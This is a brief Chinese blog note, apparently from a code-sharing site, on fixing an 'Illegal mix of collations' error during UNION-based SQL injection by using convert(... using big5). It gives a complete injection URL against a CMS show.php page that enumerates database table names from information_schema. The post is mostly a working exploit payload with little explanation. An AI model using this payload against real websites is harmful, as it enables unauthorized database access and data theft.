sql注入记录------类型转换错误---convert()函数

时间:2018-04-23 19:53:27   收藏:0   阅读:1011

sql注入在联合查询是出现一下错误查不到数据

Illegal mix of collations for operation ‘UNION‘

技术分享图片

用convert() 转换编码为utf8 或者big5 就可以了

http://10.1.2.5:52843/wcms/show.php?id=-33 union all SELECT 1,2,3,4,5,6,7,8,9,10,convert(group_concat(table_name) using big5),12,13,14,15 from information_schema.tables where table_schema=‘cms‘

 

评论(0
© 2014 mamicode.com 版权所有 京ICP备13008772号-2  联系我们:gaon5@hotmail.com
迷上了代码!